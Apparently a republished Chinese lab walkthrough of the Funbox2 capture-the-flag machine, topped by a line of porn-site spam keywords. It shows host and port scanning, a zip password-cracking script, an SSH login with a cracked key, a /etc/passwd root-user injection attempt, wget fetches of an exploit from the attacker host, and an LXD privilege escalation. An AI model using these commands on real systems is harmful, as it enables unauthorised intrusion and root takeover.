日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

实战打靶集锦-001-Funbox2

發布時間:2024/1/18 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 实战打靶集锦-001-Funbox2 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

**寫在前面:**這應該是本人第一次自主成功完成的打靶,紀念一下下。

目錄

  • 1. 主機發現
  • 2. 端口掃描
  • 3. 服務枚舉
  • 4. 服務探查
    • 4.1 Apache探查
      • 4.1.1 瀏覽器訪問
      • 4.1.2 站點地圖查看
      • 4.1.3 目錄枚舉
      • 4.1.4 公共EXP搜索
    • 4.2 FTP探查
      • 4.2.1 手工登錄FTP
      • 4.2.2 公共EXP搜索
      • 4.2.3 密碼爆破
  • 5. 突破邊界
  • 6. 提權
    • 6.1 探查用戶的home
    • 6.2 探查/etc/passwd
    • 6.3 搜索可執行文件。
    • 6.4 枚舉操作系統信息
    • 6.5 搜索公共EXP
    • 6.6 利用公共EXP
      • 6.6.1 解除shell限制
  • 7. 獲取flag
  • 8. 補充信息

1. 主機發現

當前只知道靶機所在的網段是192.168.56.0/24,其它一概不知,因此先進行一下這個網段的主機發現。

$ nmap -sP 192.168.56.0/24

2. 端口掃描

56.103應該就是我們的目標靶機,既然找到了IP地址,那就做一下全端口掃描吧。

$ sudo nmap -p- 192.168.56.103


額,貌似掃掛了,先掃一下常見的22和80端口試試看。

$ sudo nmap -p22,80 192.168.56.103


額,兩個端口都命中了,那就分段掃描一下前20000個端口試試看。


這次掃描沒有掛掉,前20000個端口只有21/22/80是開放的,暫時就這些吧。

3. 服務枚舉

通過下面的命令,查看一下這三個端口上分別運行的什么服務。

$ sudo nmap -p21,22,80 -sV 192.168.56.103


這樣,我們就獲得了ftp服務和http服務的版本信息,并且目標靶機的系統大概率是Ubuntu。接下來我們會逐個探查一下apache和ftp服務,實在無法突破的時候再探查ssh,因為ssh相對難利用。

4. 服務探查

4.1 Apache探查

4.1.1 瀏覽器訪問

直接通過瀏覽器訪問一下80端口,看看有沒有我們感興趣的信息。

感覺是Ubuntu上默認的Apache2的主頁,除了Apache2 Ubuntu之外,沒有更多感興趣的信息。

4.1.2 站點地圖查看

分別通過瀏覽器訪問一下http://192.168.56.103/robots.txt和http://192.168.56.103/sitemap.xml看看能不能獲得站點地圖信息。

嗯,有個log目錄,再試試sitemap.xml,不過robots有了,這個基本就沒戲了,但是還是訪問一下看看。

得到了一點點信息,Apache的版本是2.4.29。

4.1.3 目錄枚舉

站點地圖里面沒有發現太多有價值的內容,通過dirsearch和nikto進行一下目錄枚舉試試看。

$ dirsearch -u http://192.168.56.103

$ nikto -h http://192.168.56.103


盡管發現了一些站點信息,但是貌似價值不大,尤其是還403了。既然知道了版本信息是Apache 2.4.29,那我們還是簡單搜索一下公共EXP吧,看看有沒有該版本在Ubuntu上的漏洞。

4.1.4 公共EXP搜索


并沒有找到靠譜的匹配EXP,暫時把Apache放在一邊,下面開始探查FTP服務。

4.2 FTP探查

4.2.1 手工登錄FTP

這沒啥好說的,命令行手動登錄看看吧。

竟然可以匿名登錄,并且還有不少文件在里面,那就先都下載下來仔細看看吧。

welcome.msg貌似是個模板郵件,沒有實際內容。
對于其它的zip文件,全都加密了,需要私鑰才能解密,如下圖。

4.2.2 公共EXP搜索

黔驢技窮了,搜索一下這個FTP服務版本的公共EXP試試看。

我們的版本是1.3.5e,搜索出來的版本中最接近的是1.3.5,既然無計可施,那就死馬當活馬醫吧,先用第二個試試看。先拷貝代碼到當前目錄。

檢查代碼無問題,運行一下看看。

發現這個exp問題較多,運行不起來,可能是因為針對1.3.5的,而我的目標版本是1.3.5e,為了驗證猜想,上網搜索了一下,果真如此。

既然1.3.5a就已經把這個漏洞修復了,1.3.5e就不用多想了。

4.2.3 密碼爆破

既然沒有線索,那就用kali上的rockyou密碼字典爆破一下,看看能不能找到zip文件的解包密碼吧。
先寫一個破解zip的小腳本吧,這里重點參照了Crossin先生的一篇文章(https://cloud.tencent.com/developer/article/1806690)。基本原理就是利用rockyou字典對zip文件進行逐個爆破,可運行的代碼如下。

#!/usr/bin/env pythonimport zipfile import itertools import queue from concurrent.futures import ThreadPoolExecutorclass BoundedThreadPoolExecutor(ThreadPoolExecutor):def __init__(self, max_workers=None, thread_name_prefix=''):super().__init__(max_workers, thread_name_prefix)self._work_queue = queue.Queue(self._max_workers * 2) # 設置隊列大小def get_word_list(file):word_file = open(file, 'r', encoding='ISO-8859-1')word_list = []words = word_file.readlines()word_file.close()for i in range(len(words)):word_list.append(words[i].strip('\n'))word_file.close()return word_listdef extract(file, password):if not flag: returnfile.extractall(path='.', pwd=''.join(password).encode('utf-8'))def result(f):exception = f.exception()if not exception:# 如果獲取不到異常說明破解成功print('密碼為:', f.pwd)global flagflag = Falseif __name__ == '__main__':# 創建一個標志用于判斷密碼是否破解成功flag = True# 創建一個線程池# pool = ThreadPoolExecutor(100)pool = BoundedThreadPoolExecutor(5)# nums = [str(i) for i in range(10)]# chrs = [chr(i) for i in range(65, 91)]# # 生成數字+字母的6位數密碼# password_lst = itertools.permutations(nums + chrs, 6)password_list = get_word_list("./test.txt")# 創建文件句柄zfile = zipfile.ZipFile("./test.zip", 'r')for pwd in password_list:if not flag: breakf = pool.submit(extract, zfile, pwd)f.pwd = pwdf.pool = poolf.add_done_callback(result)

先準備一個測試用的zip文件和密碼字典驗證一下可行性,比較完美。

接下來加載真正的rockyou文件爆破anna.zip,完犢子了,使用rockyou沒有找到正確的密碼;不管了,加大一下kali虛擬機的內存和CPU,就用rockyou,逐個zip包爆破一把,說不定某個zip就能解密呢。
果然,在爆破tom.zip的時候,詭異的事情出現了,爆出了一系列密碼。

說它詭異是因為爆出來的密碼不唯一,不應該啊,一個zip還能有這么多密碼可以解密?先試試前兩個密碼再說吧。

我勒個去,解密出來的竟然是個密鑰,這很有可能是用戶tom通過ssh登錄靶機的密鑰,加密后備份在FTP上了。由于太詭異,先用第二個密碼解密tom.zip試試看。

這個密碼是錯的,不用多想了,估計后面幾個都是錯誤的密碼,可能我的密碼爆破腳本還有點小問題,不過我們已經得到密鑰了,這里暫且放一邊,以后有時間再研究。

5. 突破邊界

直接在kali上嘗試用前面解密出來的密鑰攜帶tom用戶ssh到靶機。

$ ssh -i id_rsa tom@192.168.56.103


完美突破邊界,下面開始提權。

6. 提權

6.1 探查用戶的home

先看看當前用戶的home目錄下有些啥。

有幾個比較有意思的文件,如.bash_history、.bash_logout、.mysql_history,這幾個文件中有可能隱藏著一些我們感興趣的敏感信息,待會兒沒有思路的時候記得來查看一番。

6.2 探查/etc/passwd

查看一下/etc/passwd文件中有哪些用戶。

除了我們之前發現的ftp之外,還有個mysql用戶,這說明這個主機上可能有mysql服務。
先嘗試看看能不能直接在/etc/passwd下面添加一個新用戶吧。
先給要創建的用戶生成一個密碼。

tom@funbox2:~$ openssl passwd test123


然后新創建一個testusr用戶,密碼用前面openssl生成的,其它信息跟root完全一致。

tom@funbox2:~$ echo "testusr:H0dMgLZQ3cnRo:0:0:root:/root:/bin/bash” >> /etc/passwd


嗯,權限受限制,不可以這么搞。
說明:到這里,我們可以得知當前tom用戶的shell是受限制的,有些操作沒法執行,也可以在這里嘗試解除當前用戶tom的shell限制;其實有很多linux下解除shell限制的方式,這里暫時不討論(因為在這里我也沒解除限制),有興趣的讀者可以自行搜索。

6.3 搜索可執行文件。

用下面的命令,搜索一下root用戶所有的,其它用戶可讀可寫的可執行文件。

tom@funbox2:~$ find / -type f -user root -perm -o=w 2>/dev/null


仍然權限不足,只能想其它招了。

6.4 枚舉操作系統信息

通過下面的命令枚舉一下操作系統信息,看看能不能從特定版本的漏洞進行提權吧。

tom@funbox2:~$ cat /etc/*-release

6.5 搜索公共EXP

根據上述信息,看看有沒有對應的提權漏洞代碼可以利用。

精簡一下搜索關鍵字,再試一把。

貌似還真有個18.04版本的提權漏洞(倒數第三個)。

6.6 利用公共EXP

把代碼拷貝到本地,查看一下,貌似還挺簡單的,基于代碼中的提示步驟(如下圖)試試看吧。

在kali主機上直接運行下面的命令,把build-alpine拷貝到本地。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine


根據上面漏洞利用代碼的指示,在kali上使用root用戶進行build。

雖然執行的磕磕絆絆,最終還是build出來了,build結束后,當前目錄下會多一個如下圖所示的tar包,看看能不能用再說。

退出root用戶(要養成好習慣,及時退出root用戶),在當前目錄建立http服務。

$ python3 -m http.server 80


從靶機上下載我們build好的文件。

額,攻擊機和靶機不再一個網段,一個在virtual box,一個在VMware,重新配置kali跟靶機在一個網段,然后再試,OK。

用同樣的方法,把kali上的exp腳本46978.sh上傳到目標靶機。

tom@funbox2:~$ wget http://192.168.56.105/46978.sh

給我們的EXP和alpine充足的權限。

tom@funbox2:~$ chmod 777 46978.sh tom@funbox2:~$ chmod 777 alpine-v3.17-x86_64-20230119_0234.tar.gz


通過下面的命令進行提權。

tom@funbox2:~$ ./46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz


還是因為shell的限制,沒法執行“/”指令。竟然報錯了,調整一下。

tom@funbox2:~$ sh 46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz


額,還是有錯誤,打開檢查一下看看。這個腳本在kali上沒有問題,可能還是目標靶機的shell限制問題。

6.6.1 解除shell限制

既然靶機允許cp命令,那就復制一個bash到當前目錄試試。

tom@funbox2:~$ cp /bin/bash ./

然后用新拷貝的bash執行腳本。

tom@funbox2:~$ bash 46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz

OMG,執行成功了。

7. 獲取flag

看看當前用戶的id,并獲取一下flag。

竟然沒有flag,不應該啊。嘗試用下面的命令搜索一下全盤。
~# find / -name root.txt 2>/dev/null
~# find / -name flag>/dev/null
~# find / -name proof 2>/dev/null
竟然搜索結果都是空的,可是命名提權成功了啊,顯示的當前用戶也是root。
那就繼續研究一下剛才的EXP代碼吧,果然有新的發現,怪我之前沒看仔細。

主機的文件在/mnt/root下,進到這個目錄,順利找到了flag,搞定。

8. 補充信息

其實我在爆破zip文件的時候,有些笨拙了,學藝不精。kali下有個好用的工具叫fcrackzip,可以直接進行爆破。

$ fcrackzip -u -D -p ../rockyou.txt tom.zip


比我自己寫的腳本簡單多啦。

總結

以上是生活随笔為你收集整理的实战打靶集锦-001-Funbox2的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。